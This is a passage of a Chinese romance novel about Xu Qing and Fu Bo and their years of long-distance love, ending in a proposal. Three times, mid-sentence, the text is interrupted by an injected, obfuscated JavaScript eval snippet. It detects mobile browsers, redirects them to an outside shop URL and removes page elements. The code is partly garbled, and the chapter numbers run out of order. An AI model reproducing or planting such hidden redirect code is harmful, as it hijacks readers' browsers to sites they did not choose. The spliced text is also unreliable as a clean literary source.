她靠在他肩膀上。 “付博。” “嗯?” “以后我们也会像他们那样吗?” 他想了想。 “不知道。但我不会忘记你。” 她抬起头,看着他。 “真的?” “嗯。我记性好。” 她笑了。 “你记性好?你连自己手机号都记不住。” “那是数字。你不一样。” “我怎么不一样?” 他看着她的眼睛。 “你是许清。” 她愣住了。 然后低下头,脸红了。 电影散场,他们走在路上。 晚风吹过来,很凉快。 他突然说:“许清,等我以后有钱了,我带你去日本。” “干嘛?” “看那个……那个你刚才哭的地方。” 她笑了。 “那是动画,不是真的。” “那也去看。反正有雪。” 她看着他,看着他认真的样子。 “好。我等着。” 高三来了。 压力一下子大起来。 许清每天埋在书堆里,做不完的题,考不完的试。 付博也是。 训练更狠了,比赛更多了,能见面的时间更少了。 有时候一个月都见不上一面。 但还是发消息。 付博:今天跑了多少? 许清:不知道,反正很多。你呢? 付博:十公里。 许清:那么多? 付博:还好。习惯了。 许清:累不累? 付博:累。但想到你,就不累了。 她看着这行字,心里酸酸甜甜的。 34. 信赖利益03 高三下学期,她开始准备高考。 他也要准备比赛。 两个人都忙得昏天黑地。 但每天晚上,他还是会发消息。 有时候只有两个字:晚安。 有时候多一点:加油,你可以的。 她看着这些消息,就像看见他站在她面前。 那个黑黑壮壮的男孩,那个不会说话但一直陪着她的男孩。 高考前一周,他突然出现在她教室门口。 她愣住了。 “你怎么来了?” “想你了。” 他瘦了,黑了,但眼睛还是那么亮。 她看着他,眼眶红了。 “你不是在训练吗?” “请了一天假。” “为什么?” 他挠挠头。 “你明天高考了,我来给你加油。” 她愣住了。 “你特意请假来给我加油?” “嗯。怕你紧张。” 她的眼泪一下子就下来了。 他慌了。 “你怎么哭了?我说错话了?” 她摇头。 “不是。我就是……” 她说不下去了。 他笨拙地拍拍她的背。 “别哭。你一定行的。” 她抬起头,看着他。 “你相信我吗?” “当然。你是我见过最厉害的人。” 她笑了。 笑着笑着,眼泪又下来了。 那天晚上,他们又走了那条坡道。 走了很久很久。 走到宿舍都关门了。 他送她到门口。 “许清。” “嗯?” “明天好好考。考完我带你去吃火锅。” 她点点头。 “好。” 他看着她,看了很久。 然后他突然伸手,把她拉进怀里。 抱了一下。 就一下。 然后松开。 “进去吧。” 她愣住了。 然后笑了。 “嗯。” 她转身走进去。 走到门口,又回头。 他还站在那儿,看着她。 她朝他挥挥手。 他也挥挥手。 那天晚上,她躺在床上,想着那个拥抱。 他的胸膛很硬,很热。 那是体育生的胸膛。 也是她的男孩的胸膛。 她闭上眼睛,睡着了。 睡得特别香。 高考结束那天,他来接她。 她走出考场,一眼就看见他了。 站在人群中,像一块石头。 看见她,他跑过来。 “考得怎么样?” 她想了想。 “还行吧。” 他笑了。 “那去吃火锅?” 她也笑了。 “好。” 他们走在路上。 阳光很好。 她突然停下来。 “付博。” “嗯?” “如果我考不上好大学,你会不会失望?” 他看着她。 “不会。” “为什么?” “你考上什么大学,都是你。” 她愣住了。 然后笑了。 笑得眼睛都眯起来了。 “走吧。吃火锅去。” “好。” 他们并肩往前走。 阳光把他们影子拉得很长。 交叠在一起。 那年夏天,她考上了成都的一所大学。 他考上了体育学院,在另一个城市。 拿到录取通知书那天,他们又走了那条坡道。 走了很久。 走到天黑。 走到路灯亮起来。 她突然说:“付博,我们要异地了。” 他沉默了一会儿。 “嗯。” “你怕吗?” 他想了想。 “不怕。” “为什么?” 他看着她。 “多远我都会跑回来。” 她愣住了。 然后笑了。 笑着笑着,眼泪就下来了。 他伸手,擦掉她的眼泪。 “别哭。又不是不见了。” 她点点头。 “好。我不哭。” 那天晚上,他们站在路灯下。 很久很久。 谁也不想走。 最后她说:“你进去吧。” 他说:“我看着你进去。” 她转身,往宿舍走。 走了几步,又回头。 他还站在那儿。 看着她。 她笑了。 挥挥手。 他也挥挥手。 她继续往前走。 走到门口,又回头。 他还站在那儿。 路灯的光落在他身上。 把他的影子拉得很长。 她推门进去了。 那天晚上,她躺在床上,想着这些年。 从初三到高三,从那条坡道到这个路口。 四年了。 四年里,他们一起走了无数遍那条坡道。 一起看过无数次晚自习后的星光。 一起吃过无数次食堂的饭。 一起笑过,一起哭过,一起傻过。 四年了。 她看着天花板,轻轻说了一句话。 “付博,等我。” 手机震了。 她拿起来看。 付博:许清。 许清:嗯? 付博:等我。我会跑回来的。 她看着这行字,笑了。 笑着笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347252|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,眼泪又下来了。 许清:好。我等你。 窗外,路灯亮着。 那条坡道上,一个人都没有。 但她知道,明天晚上,他还会站在那儿等她。 火车站的人很多,多到许清觉得整个城市的人都挤在这儿了。 付博帮她拎着行李箱,走在前面。他走得很慢,一边走一边回头看她,怕她跟不上。 “你走你的,我看着呢。”许清说。 “我怕你丢。” “我又不是三岁小孩。” 他笑笑,继续往前走。 候车厅里人声嘈杂,小孩子跑来跑去,大人们在打电话、聊天、吃泡面。他们找了个角落的位置坐下,离检票口近一点。 许清的火车还有一个小时。 她把书包放在腿上,低着头,不说话。 付博也不说话。 就坐在旁边,看着来来往往的人。 “你到那边要给我打电话。”过了一会儿,他说。 “嗯。” “到了先安顿好,别着急。” “嗯。” “学校那边有人接吗?” “有。学长学姐会接。” 他点点头。 然后又没话了。 许清抬起头,看着他。 他看着前方,不知道在看什么。 “付博。” 他转过头。 “怎么了?” “你紧张什么?” 他愣了一下。 “我没紧张。” “那你一直看前面干嘛?” 他挠挠头。 “我就是……不知道该说什么。” 她笑了。 “不知道该说什么就不说呗。” 他看着她,看着她笑的样子。 “许清。” “嗯?” “我会想你的。” 她愣住了。 然后她低下头,脸有点红。 “我也是。” 广播响了,开始检票。 他们站起来,往检票口走。 人很多,挤来挤去。他走在前面,帮她开路。她跟在后面,拉着他的衣角。 到了检票口,她刷码进站直直的走进去。 走了几步,又回头。 他还站在那儿,看着她。 她朝他挥挥手。 他也挥挥手。 她继续往前走。 走到楼梯口,又回头。 他还站在那儿。 她笑了,转身上了楼梯。 火车开了。 她坐在靠窗的位置,看着窗外飞速后退的风景。 就像过去四年一样。 就像未来很多年一样。 她闭上眼睛。 梦里又是那条坡道。 很长很长。 走不完。 但她不害怕。 因为他在前面等着她。 35. 信赖利益04 突然许清的手机震动了。 是付博发来的微信消息“上车了吗?” 许清解锁手机打开微信敲字回复道“上了”。 然后二人就开始了微信聊天 “多久到?” “三个多小时” “那你睡觉吧,昨天晚上都没有怎么睡觉,我三个多小时后再找你”。 “你也是没睡好,你不补觉嘛?” “睡不着” “为什么?” “因为我已经开始想你了” 她看着这行字,笑了。 “你是不是傻的?” “嗯。傻你的” 她把手机贴在胸口,看着窗外。 窗外的风景一直在变。 有房子,有树,有田野,有山。 她想起刚才在火车站,他站在那儿目送她的样子。 想起他说“我会想你的”时认真的表情。 想起四年来的每一天。 那条坡道,那些路灯,那些晚自习后的星光。 她突然有点想哭。 但她忍住了。 因为他在等她。 成都到了。 出站的时候,天已经黑了。站前广场上灯火通明,到处都是接人的牌子。她找了一会儿,找到了自己学校的牌子,走过去。 接她的学长很热情,帮她拎行李,带她上大巴。大巴上坐满了新生,叽叽喳喳的,有兴奋的,有紧张的,有哭过的。 她坐在靠窗的位置,看着窗外这座陌生的城市。 灯火辉煌。 比她的城市大得多,亮得多。 手机震了。 付博:到了吗? 许清:到了。在学校大巴上。 付博:累不累? 许清:还好。 付博:到学校了跟我说。 许清:好。 她看着窗外,突然想起一件事。 他明天还要去复读学校报到。 她发了一条消息。 “你明天去学校吗?” “嗯。早上八点就要到。” “那你早点睡。” “等你到学校就睡。” 她看着这行字,心里泳出一股暖流。 到学校的时候已经快九点了。办手续,领钥匙,找宿舍。宿舍在五楼,没有电梯,她拎着行李箱爬上去,累得直喘气。 推开宿舍门,里面已经有三个人了。 “你好!我叫陈曦,四川本地的!”一个短发女孩冲她招手。 “我叫周楠,重庆的。”另一个女孩说。 “我叫林雨,成都的。”第三个女孩笑了笑。 许清愣了一下。 “我叫许清。兴文的。” 四个人互相看了看,都笑了。 “我们宿舍四个省的人!”陈曦说。 “不对,四个市。”周楠纠正她。 “都一样都一样。” 许清把行李放下,开始收拾床铺。床在上铺,她爬上去,铺床单,套被子,弄了半天才弄好。 手机震了。 付博:安顿好了吗? “好了。宿舍四个人,人都挺好的。” 付博:那就好。累不累? “累。爬五楼爬的。” 付博:那我明天开始每天帮你爬五楼。 她笑了。 许清:你怎么爬? 付博:在心里爬。 许清:你是不是傻? 付博:嗯。傻你的。 许清:快睡吧。明天还要去学校。 付博:好。晚安! 许清:晚安! 她把手机放在枕头边,闭上眼睛。 耳边是室友们聊天的声音,叽叽喳喳的,很热闹。 但她心里想的,是那个在几百公里外的男孩。 明天,他也要去复读了。 他会坐在陌生的教室里,面对陌生的同学,陌生的老师。 他会很累,很辛苦。 但他会等她。 她相信。 大学生活开始了。 许清学的是法律。课很多,作业很多,要看的书很多。 每天早上六点半起床,洗漱,吃早饭,去教室。上午四节课,下午两节课,晚上还有晚自习。回到宿舍都九点多了,洗个澡,写会儿作业,就十一点了。 累…… 但她喜欢。 喜欢听老师讲那些案例,喜欢看法条,喜欢那种一点点变充实的感觉。 只是,每天躺到床上的时候,她都会想他。 想他在做什么。 想他今天累不累。 想他有没有好好吃饭。 手机是她们唯一的联系。 付博的复读学校管得很严,上课不能带手机,只能放学后用。他每天晚上十点半放学,回到宿舍洗漱完,差不多十一点才能给她发消息。 所以她每天晚上十一点,都会守着手机。 有时候太困了,等着等着就睡着了。第二天早上醒来,手机里一定会有他的消息。 付博:睡了吧?晚安! 付博:今天跑了五公里,累死了。 付博:数学还是听不懂,但我会努力的。 付博:想你了。 …… 她看着这些消息,心里又酸又甜。 她一条一条回。 “昨天等睡着了,没等到你。” “跑五公里?你们复读还训练?” “数学不会的就问老师,别自己硬扛。” “我也想你。” 有时候周末,他们能视频一会儿。 他会在宿舍楼的天台上,找个信号好的地方,给她打视频。 画面很卡,声音断断续续的,但她还是能看清他的脸。 黑了,瘦了。 但眼睛还是那么亮。 “你瘦了。”她说。 “你也是。” “我哪有?” “有,脸都小了。” 她摸了摸自己的脸。 “真的吗?那挺好的,减肥了。” 他笑了。 “减什么肥?你又不胖。” “你们学校伙食好不好?”她问。 “还行吧。就是食堂的菜有点油。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347253|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “那你要多吃点水果。” “没时间买。” “那你下课的时候去小卖部买。” 他点点头。 “知道了。” 视频信号又卡了,他的脸定格成一帧一帧的。 “许清。”他说,声音断断续续的。 “嗯?” “我想你……” 画面卡住了。 她看着屏幕上那张定格的臉,笑了。 “我也想你! ! !” 她对着空气说。 第一个寒假,她回家了。 火车到站的时候,天已经黑了。她拖着行李箱走出站,一眼就看见他了。 站在出口的地方,穿着一件黑色的棉袄,戴着一顶帽子,手揣在口袋里。 看见她,他跑过来。 “许清!” 她看着他,看着他跑过来的样子。 还是那样,像一块移动的石头。 他跑到她面前,站住。 “你……你回来了。” “嗯。” 他们站在那儿,看着对方。 三个月没见了。 他好像又黑了,又瘦了。 但眼睛还是那么亮。 “走吧。”他接过她的行李箱,“我送你回家。” 他们并肩走在出站的通道里。 他走在她左边,靠近马路的那边。 她看了一眼,笑了。 “你还记得?” “记得什么?” “高中时候,你每次都走这边。说这样车来了先撞你。” 他愣了一下,然后也笑了。 “习惯了。” 他们坐公交车回家。 车上人很多,没有座位。他们挤在后门旁边,扶着栏杆。车一晃一晃的,她站不稳,差点摔倒。他伸手扶住她。 “小心点。” 她靠在他身上,闻到他衣服上的味道。 洗衣液的味道,还有一点太阳晒过的味道。 “你洗衣服了?” “嗯。今天刚洗的。” “自己洗的?” “不然呢?我妈又不帮我洗。” 她笑了。 “长大了嘛。” 他也笑了。 “本来就不小。” 到了她家楼下,他把行李箱放下。 “到了。” “嗯。” 他们站在那儿,谁也没动。 “那个……”他开口。 “什么?” “明天有空吗?” 她看着他。 “干嘛?” “请你吃饭。火锅。” 她笑了。 “好。” “那明天我来接你。” “嗯。” 他转身要走。 “付博。” 他回过头。 她走过去,踮起脚,在他脸上亲了一下。 很快。 然后转身就跑。 跑进单元门,跑上楼梯,跑回家。 趴在门上,心跳得很快…… 36. 信赖利益07 资阳到成都不远,高铁一个多小时。 但他们见面的机会,还是很少。 她大二了,课更多了,作业更多了,要看的书更多了。 他大一,体育训练很累,每天都要跑,要练,要比赛。 他们约好的半个月一次,变成一个月一次,再变成两个月一次。 不是不想见。 是见不了。 她周末要写论文,要复习,要准备考试。 他周末要训练,要比赛,要补课。 能见面的时间,只有寒暑假。 但每天晚上,还是会发消息。 付博:“今天跑了十公里,腿都快断了。” 许清:“那你早点休息。” 付博:“不行。还要跟你说话……” 许清:“说什么?” 付博:“不知道……就是想说话。” 她笑了。 许清:“那就说呗。” 付博:“今天训练的时候,教练骂我了【委屈】” 许清:“为什么?” 付博:“说我跑得太慢。” 许清:“你慢?你不是省冠军吗?” 付博:“那是以前。现在大家都进步了。” 许清:“那你加油。” 付博:“嗯。我加油。你也加油。” 许清:“好。” 有时候,他们会视频。 画面还是卡,声音还是断断续续的。 但她还是能看清他的脸。 他又黑了,又瘦了。 但眼睛还是那么亮。 “你瘦了。”她说。 “你也是。” “我哪有?” “有。脸都小了。” 她摸摸自己的脸。 “真的吗?那挺好的。” 他笑了。 “减什么肥?你又不胖。” “你们学校食堂好不好?” “还行。就是肉少。” “那你多吃点。” “没钱。” 她愣了一下。 “没钱?” “嗯。这个月生活费快花完了。” 她心疼了。 “那我给你寄点吃的。” “不用。你留着钱自己花。” “我有。” 她第二天就去超市买了吃的,寄给他。 饼干,巧克力,牛肉干,还有一封信。 信上写: “给你寄了点吃的。别饿着自己。” “你训练那么累,要多吃点。” “我在这边挺好的,课很多,作业很多,但老师都挺好。” “最近在学民法,老师说民法是万法之母,很有意思!” “等我学会了,以后给你当法律顾问。” “你要加油训练,我也加油学习。” “等下次见面,我们都要变得更好!” 想你……。 许清 ——2020年10月—— 他收到后,给她打电话。 “你寄的东西我收到了。” “好吃吗?” “还没吃。舍不得吃。” 她笑了。 “有什么舍不得的?吃完了我再寄。” “不用。你留着钱。” “我有。” 他沉默了一下。 “许清。” “嗯?” “信我看了。” “嗯。” “我会好好收着的。” 她心里暖暖的。 “好。” 他顿了顿,又说。 “等我以后有钱了,我给你买好多好多东西。” 她笑了。 “好。我等着。” 那年冬天,他来找她。 坐了一个多小时的高铁,从资阳到成都。 她到车站接他。 出站的时候,她一眼就看见他了。 穿着黑色的羽绒服,戴着一顶毛线帽,手揣在口袋里。 看见她,他跑过来。 “许清!” 她跑过去,扑进他怀里。 他抱着她,抱得很紧。 “你来了。” “嗯。” “我好想你。” “我也是。” 那天,成都下雪了。 很小很小的雪,细细的,像盐一样。 他们走在学校的操场上,雪花落在头发上,肩膀上,睫毛上。 “你看,下雪了。”她说。 他抬起头,看着那些细细的雪花。 “好看。” “你说过要带我去看雪的。” 他想了想。 “日本那个?” “嗯。” “等我攒够钱就去。” 她看着他。 “真的?” “嗯。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347254|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她笑了。 把手伸进他的口袋里,握住他的手。 他的手很热。 “付博。” “嗯?” “我们会一直在一起吧?” 他看着她。 “会。” “为什么?” 他想了想。 “因为你在等我。” 她愣住了。 然后笑了。 笑得眼睛都眯起来了。 那年冬天,他们在成都待了两天。 逛了春熙路,去了宽窄巷子,看了锦里。 吃火锅,吃串串,吃冒菜。 她带他吃遍了学校门口的小吃街。 他说:“你们学校门口吃的真多。” 她说:“那是。不然怎么叫大学城。” 他笑了。 “以后我要经常来。” “好。” “吃遍所有店。” “好。” “把你喂胖。” 她打了他一下。 “你敢?” 他笑了。 “不敢。” 那天晚上,他们坐在学校门口的奶茶店里。 她喝奶茶,他喝可乐。 “付博。”她开口。 “嗯?” “我有个事跟你说。” 他看着她。 “什么事?” “我下学期要去实习了。” “实习?去哪?” “法院。” 他愣了一下。 “法院?” “嗯。学校安排的,去法院实习。” 他点点头。 “那挺好的。” 她看着他。 “你不担心?” “担心什么?” “担心我被别人抢走。” 他笑了。 “不担心。” “为什么?” “因为你是我女朋友。” 她愣住了。 “这算什么理由?” 他想了想。 “因为我知道你等我。就像我等你一样。” 她看着他那张认真的脸,心里暖暖的。 “付博。” “嗯?” “你真好。” 他挠挠头。 “我哪里好?” “哪里都好。” 他笑了。 笑得像个傻子。 37. 信赖利益06 大三那年,他做了一个决定。 他要入伍。 电话里,他告诉她这个消息的时候,她沉默了很久。 “为什么?”她问。 “我想试试。”他说,“当兵一直是我的梦想。” 她没说话。 “许清?” “嗯。” “你怎么想?” 她想了想。 “你什么时候走?” “明年。如果体检过了的话。” “去多久?” “两年。” 两年。 七百三十天。 她沉默了。 “许清,我知道两年很长。但我会回来的。我保证。” 她还是没说话。 “你……你愿意等我吗?” 她握着手机,眼眶红了。 “付博。” “嗯?” “我等你。” 电话那头沉默了一下。 “真的?” “嗯。我们还有以后。” 他的声音有点抖。 “许清……” “你别哭。”她说,“你哭了我也要哭。” 他笑了,笑得有点哽咽。 “好。我不哭。” 那天晚上,她躺在床上,看着天花板。 两年。 七百三十天。 她不知道这两年会是什么样子。 但她知道,她会等他。 因为他是付博。 那个从初三就喜欢她的男孩。 那个每天晚上站在教室门口等她的男孩。 那个在火车站说“我会想你的”的男孩。 那个给她买戒指的男孩。 那个说“我保证”的男孩。 她相信他。 就像相信自己。 入伍那天,她去送他。 火车站人很多,到处都是送行的人。有哭的,有笑的,有抱着不撒手的。 他穿着军装,理了平头,站在那儿,像换了个人。 她看着他,有点不认识。 但又很认识。 因为眼睛还是那双眼睛。 亮亮的,看着她。 “你……你变了。”她说。 “变了?” “嗯。变帅了。” 他笑了。 “帅吗?” “帅。” 他挠挠头,又变成那个傻傻的样子。 “你到了那边要好好照顾自己。”她说。 “嗯。” “每天要吃饭,别饿着。” “嗯。” “训练累了要休息。” “嗯。” “想我了就写信。” 他愣了一下。 “写信?” “嗯。我给你写了很多信。你也要给我写。” 他点点头。 “好。” 广播响了。 该走了。 她看着他,眼眶红了。 他也看着她,眼眶也红了。 “许清。” “嗯?” “等我。” 她点点头。 “我等你。” 他转身,往站台走。 走了几步,又回头。 她还站在那儿,看着他。 他朝她挥挥手。 她也挥挥手。 他继续往前走。 走到检票口,又回头。 她还站在那儿。 他笑了一下,然后进去了。 她站在那儿,看着他的背影消失在人群中。 眼泪终于掉下来。 她蹲下来,哭了。 哭得很凶。 旁边的人都在看她,但她不在乎。 她只知道,他走了。 两年。 七百三十天。 她不知道这两年怎么过。 但她会等。 因为他说过。 “等我。” 她会等。 入伍后的日子,比想象中更难。 他每周只能打一次电话,每次只有几分钟。 她每天守着手机,等那几分钟。 周三晚上,周五晚上。 她记着这两个时间。 生怕错过。 有时候太忙了,错过了,就只能等下一周。 那种感觉,像错过了一个世纪。 但每次听到他的声音,她又觉得一切都值得。 他的声音还是那样,有点沙,有点粗。 但很温柔。 “许清。” “嗯?” “我想你。” 她握着手机,眼眶红了。 “我也想你。” “这边训练很累。每天五公里,还有各种体能训练。” “那你受得了吗?” “受得了。就是想你的时候,有点难受。” 她笑了。 “那我多给你写信。” “好。” “你也要给我写。” “好。” “要写得长长的。” “好。” “要写你每天都干什么。” “好。” “要写你想我。” 他笑了。 “好。” 电话时间到了。 “许清。”他说。 “嗯?” “等我回来。” 她点点头。 “我等你。” 电话挂了。 她握着手机,坐了很久。 然后她拿出信纸,开始写信。 付博,今天是周三,你打电话的时候我正在图书馆写作业。手机震的时候,我差点跳起来。室友都看我,好丢脸 你的声音还是那样,有点沙,有点粗。但我听着特别安心 你说训练很累,我听了心疼。你要多吃点,多休息,别太拼。我在这边挺好的,课很多,作业很多,但老师都挺好。最近在学刑法,老师说刑法是最后的手段,不能随便用。我觉得挺有意思的 你说想我,我也想你想得要命。每天睡觉前都会想你,想你现在在干嘛,累不累,有没有好好吃饭。室友都说我傻了,整天对着手机发呆 我给你寄了点东西,有你爱吃的牛肉干,还有一双手套。那边冷,训练的时候戴上 你要好好照顾自己。我也好好照顾自己 等你回来 许清 2021年11月 她写完信,折好,放进信封。 然后贴上邮票,写上他的地址。 第二天寄出去。 然后等他的回信。 一周后,她收到他的信。 信封皱皱的,上面有他的字迹,歪歪扭扭的,像小学生写的。 她打开信封,里面掉出一个东西。 是一颗奶糖。 压扁了,但还能吃。 她笑了。 把糖放进嘴里。 很甜。 信纸展开,是他的字。 许清,你的信收到了。我看了三遍。 牛肉干很好吃,我分给战友吃了,他们说很好吃。手套很暖和,训练的时候戴着,手不冷了。 这边训练真的很累。每天五点起床,跑五公里,然后各种体能训练。有时候跑完腿都在抖。但我坚持下来了。因为我想你。 你说想我,我也想你想得要命。晚上睡觉的时候,躺在床上,会想你那边几点,在干嘛,有没有想我。战友都笑我,说我有病。 但我就是会想你寄的糖我吃了一颗,很甜。剩下一颗给你寄回去,你也尝尝。等我回来。 付博 2021年11月 她看着那封信,看了很久。 然后把那颗糖,放进嘴里。 很甜。 像他说的那样。 她给他回信。 付博,糖收到了。很甜。 你说训练很累,我听了更心疼了。你要坚持住,但也要注意身体。别太拼,慢慢来。 我这边一切都好。最近在准备期末考试,天天泡图书馆。室友都说我疯了,整天就知道学习。我说我男朋友在部队那么努力,我也得努力。 等你回来,我们一起去吃火锅。我都想好了,吃最辣的,吃到流泪。 你要好好的。 我等你。 许清 2021年12月 就这样,他们一周一封信。 有时候她写得多,有时候他写得多。 信里写训练,写学习,写想念,写未来。 写一切能写的东西。 他给她寄过一张照片。 穿着军装,站在训练场上,晒得黑黑的,但笑得很开心。 她看了很多遍。 然后把照片夹在书里,每天都能看见。 她也给他寄过照片。 在图书馆拍的,在教室拍的,在宿舍拍的。 他说他把照片贴在床头了。 每天睡觉前看一遍。 她听了,心里甜甜的。 第一年春节,他没回来。 她说没事,我等你。 然后一个人在家过年。 除夕夜,她给他打电话。 “新年快乐。”她说。 “新年快乐。” “你在那边吃饺子了吗?” “吃了。韭菜鸡蛋的。” “好吃吗?” “还行。没你做的好吃。” 她笑了。 “等我回去,我给你包饺子。” “好。” “你想吃什么馅的?” “都行。你包的就行。” 她笑了。 “付博。” “嗯?” “还有一年。” “嗯。” “一年后,你就回来了。” “嗯。” “到时候,我们就能见面了。” 他沉默了一下。 “许清。” “嗯?” “我回来那天,你还会来接我吗?” 她愣住了。 “当然。” “真的?” “嗯。我发誓。” 电话那头,他笑了。 笑得很开心。 “好。我等你来接我。” 那年春节,她一个人坐在窗前,看着窗外的烟花。 手机里是他的声音,有点远,有点近。 她想起很多年前,他们一起看烟花。 那时候还在高中,学校操场上放烟花,他们挤在人群里,手牵着手。 烟花在头顶炸开,五颜六色的,很好看。 她转过头看他,他也在看烟花。 “好看吗?”她问。 “好看。” “比我还好看?” 他转过头,看着她。 “你更好看。” 她笑了。 现在,他在几百公里外,她一个人在家。 但她知道,他在想她。 就像她在想他一样。 第二年的夏天,他来信说,他可能要提前回来。 她看了信,激动得一晚上没睡着。 第二天就给他回信。 付博, 你说要提前回来?真的吗?什么时候?具体日期定了吗? 我太开心了!我恨不得现在就跑去车站接你! 你回来那天,我一定第一个到。我穿什么衣服好?你最喜欢我穿什么? 对了,你回来想吃什么?我给你做。我学会了好多菜,红烧肉、糖醋排骨、番茄炒蛋,都会做了。 等你回来,我们一起去吃火锅。我都想好了,去吃那家我们常去的,点最辣的锅底,吃到流泪。 你快回来。我等你。 许清 2022年7月 他回信说,具体日期还没定,但应该快了。 让她别着急。 她怎么不急? 她每天都在数日子。 等了一天又一天。 等了一周又一周。 等到秋天。 等到冬天。 终于,他的信来了。 许清: 定了。12月20日。那天我回来。 你记得来接我。 付博 2022年11月 她看着那封信,哭了。 哭了很久。 然后擦干眼泪,开始准备。 准备接他。 准备见他。 准备抱他。 12月20日。 她记得这个日子。 那天,她起了个大早。 洗头,化妆,挑衣服。 穿什么好? 她试了一件又一件。 最后选了那件他最喜欢的白色毛衣。 她说:“这件好看吗?” 室友说:“好看。去见男朋友?” 她点点头。 室友笑了。 “那快去吧。别让他等。” 她出门了。 坐公交车,转地铁,到火车站。 站在出口处,看着来来往往的人群。 心跳得很快。 时间过得很慢。 她看了一遍又一遍手表。 还没到。 还没到。 终于,广播响了。 火车进站了。 她踮起脚尖,往里面看。 人群涌出来。 一个,两个,三个…… 她看见了。 他穿着军装,拎着一个包,走在人群里。 还是那样,黑黑的,壮壮的。 但好像更高了,更壮了。 眼睛还是那么亮。 看见她,他愣住了。 然后他跑过来。 跑得很快。 像高中时候跑八百米一样。 她站在原地,看着他跑过来。 眼泪流下来。 他跑到她面前,站住。 “许清。” 她看着他,看着他黑黑的脸,看着他亮亮的眼睛。 “你……你回来了。” 他点点头。 “我回来了。” 她扑进他怀里。 他抱住她,抱得很紧。 很紧很紧。 旁边的人都在看。 但他们不在乎。 她抱着他,闻到他身上的味道。 有火车上的味道,有冬天的味道,有他的味道。 那是她想了七百三十天的味道。 “我好想你。”她说。 “我也是。” “每天都想。” “我也是。” 她抬起头,看着他。 他的眼眶也红了。 她伸手,摸了摸他的脸。 瘦了。 “你瘦了。” 他笑了。 “你也是。” “我哪有?” “有。脸都小了。” 她笑了。 笑着笑着,眼泪又下来了。 他伸手,擦掉她的眼泪。 “别哭了。我不是回来了吗?” 她点点头。 “好。我不哭。” 那天,他们一起回家。 坐公交车,转地铁,到她家楼下。 他帮她把行李箱拎上去。 到了门口,她把行李箱放下。 “到了。” “嗯。” 他们站在那儿,谁也没动。 “那个……”他开口。 “什么?” 他从口袋里掏出一个东西。 是一个小盒子。 她愣住了。 “这是什么?” “打开看看。” 她打开盒子。 里面是一枚戒指。 银色的,细细的,上面有一颗小小的石头。 比之前那个大一点。 她抬起头,看着他。 “这是……” “我攒钱买的。”他说,“部队里发的钱,我都攒着。” 她的眼泪又下来了。 “你……” 他看着她,很认真。 “许清,我答应过你的。等我回来,我给你一个未来。” 她看着他,看着他认真的样子。 “你……你想说什么?” 他突然单膝跪下。 她吓了一跳。 “你干嘛?快起来!” 他不起来。 就那么跪着,看着她。 “许清。” “嗯?” “你愿意嫁给我吗?” 她愣住了。 周围的邻居都探出头来看。 但她不在乎。 她只看着他。 看着他亮亮的眼睛。 看着他认真的表情。 看着他手里那枚戒指。 她想起很多年前,他给她写的那封信。 错别字好多,但她看懂了。 她想起高中那条坡道,他们走了无数遍。 她想起他去复读那年,每天晚上守着手机等他。 她想起他去资阳上学,他们两个月见一次面。 她想起他去当兵,她等了他七百三十天。 她想起他说过的每一句话。 “我会想你的。” “多远我都会跑回来。” “我会一直带着。” “我保证。” “等我。” 现在他回来了。 跪在她面前。 问她愿不愿意嫁给他。 她的眼泪流下来。 流得满脸都是。 但她笑了。 笑着点头。 “我愿意。” 他也笑了。 站起来,把戒指戴在她手上。 然后他抱住了她。 抱得很紧。 她靠在他怀里,听着他的心跳。 咚,咚,咚。 跟高中时候一样。 跟大学时候一样。 跟七百三十天前一样。 她知道。 她等到了。 那天晚上,她躺在床上,看着手上的戒指。 两枚戒指。 一枚是他高中毕业打工买的。 一枚是他当兵攒钱买的。 银色的光,在灯下一闪一闪的。 她想起他刚才说的话。 “许清,我答应过你的。等我回来,我给你一个未来。” 她笑了。 把两枚戒指并在一起,看了很久。 然后她拿出手机,给他发消息。 许清:睡了吗? 付博:没。在想你。 许清:我也是。 付博:今天像做梦一样。 许清:我也是。 付博:许清。 许清:嗯? 付博:以后,我们永远都不分开了。 她看着这行字,笑了。 笑着笑着,眼泪又下来了。 许清:好。永远都不分开。 窗外,月光很亮。 她闭上眼睛。 梦里,又是那条坡道。 很长很长。 但这次,他牵着她的手。 一起走。 那封信 许清一直留着那封信。 就是付博入伍后写给她的第一封。 信封皱皱的,边角都磨破了,但她一直收着。 有时候想他了,就拿出来看看。 信纸上的字歪歪扭扭的,但她看得懂。 许清: 到部队已经三天了,今天才有时间给你写信。 这边很累,每天五点起床,跑五公里,然后各种训练。但我觉得还好,因为我身体好,能扛。 就是想你。 